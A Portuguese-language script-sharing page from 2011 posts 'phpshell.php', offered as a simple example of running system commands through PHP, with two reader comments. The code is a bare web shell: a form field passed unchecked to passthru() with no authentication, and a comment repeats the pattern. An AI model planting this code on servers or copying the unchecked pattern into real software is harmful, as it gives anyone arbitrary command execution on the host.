Executando comandos através do PHP

Publicado por Perfil removido (última atualização em 01/02/2011)

[ Hits: 8.775 ]

Download phpshell.php




Um simples exemplo de como executar syscalls através do PHP. O retorno do comando é impresso na tela.

[]s

  



Esconder código-fonte

<?php

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of PHP_CMD_Exec
 *
 * @author ox
 */

?>

<html>
<head>
   <title>
      PHPShell
   </title>
</head>
<body>
   <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
      <label id="labelCommand" for="inputCommand">Comando: </label>
      <input type="text" id="inputCommand" name="inputCommand"/>
      <input type="submit" value="Executar"/>
   </form>

   <fieldset>
      <legend style="font-size: 12px; color: green;">Output</legend>
      <?php 
         $command = $_POST['inputCommand'];
         passthru($command);
         echo $commandReturn;
      ?>
   </fieldset>

</body>

</html>

Scripts recomendados

Lista de Tarefas - Gerenciador de Projeto Simples

Gráfico de Pizza em PHP

Hora no formato Internet Beat

WShell - Comandos do sistema via web

PHP - Remover acentos e caracteres especiais


  

Comentários
[1] Comentário enviado por rogeriojlle em 01/02/2011 - 16:06h

$commandReturn;
vem de onde?

<?php
$command = $_POST['inputCommand'];
if($command == ""){
echo "digite um comando";
} else {
passthru($command);
}
?>

[2] Comentário enviado por removido em 02/02/2011 - 12:17h

De lugar nenhum.
Eu estava fazendo de outra forma, esqueci isso aí. Hehe.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts